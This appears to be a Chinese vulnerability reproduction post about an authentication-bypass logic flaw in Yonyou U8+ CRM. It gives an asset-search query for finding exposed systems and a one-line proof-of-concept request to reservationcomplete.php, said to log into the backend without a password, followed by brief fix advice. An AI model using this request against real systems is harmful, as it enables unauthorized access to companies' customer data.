用友U8CRM reservationcomplete.php 逻辑漏洞复现

前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

---

一、产品简介

用友U8+CRM是一款专为企业提供客户关系管理解决方案的软件。它通过整合多种网络化、低成本营销手段和沟通方式，帮助企业建立与客户之间通畅的交流平台。

二、漏洞描述

该系统存在逻辑漏洞，在不知道密码的情况下可以登录系统后台

三、影响范围

未知

四、复现环境

鹰图：
app.name=“用友 CRM”

五、漏洞复现

1.访问存在漏洞的网站

2.POC

ip：port/background/reservationcomplete.php?ID=1

如果出现空白页面则表示可能存在该漏洞

3.再次请求该网址，即可自动登录后台

六、修复建议

暂时关闭互联网暴露面访问的权限，及时更新平台系统

---

参考链接

https://blog.csdn.net/weixin_51641247/article/details/136509904

---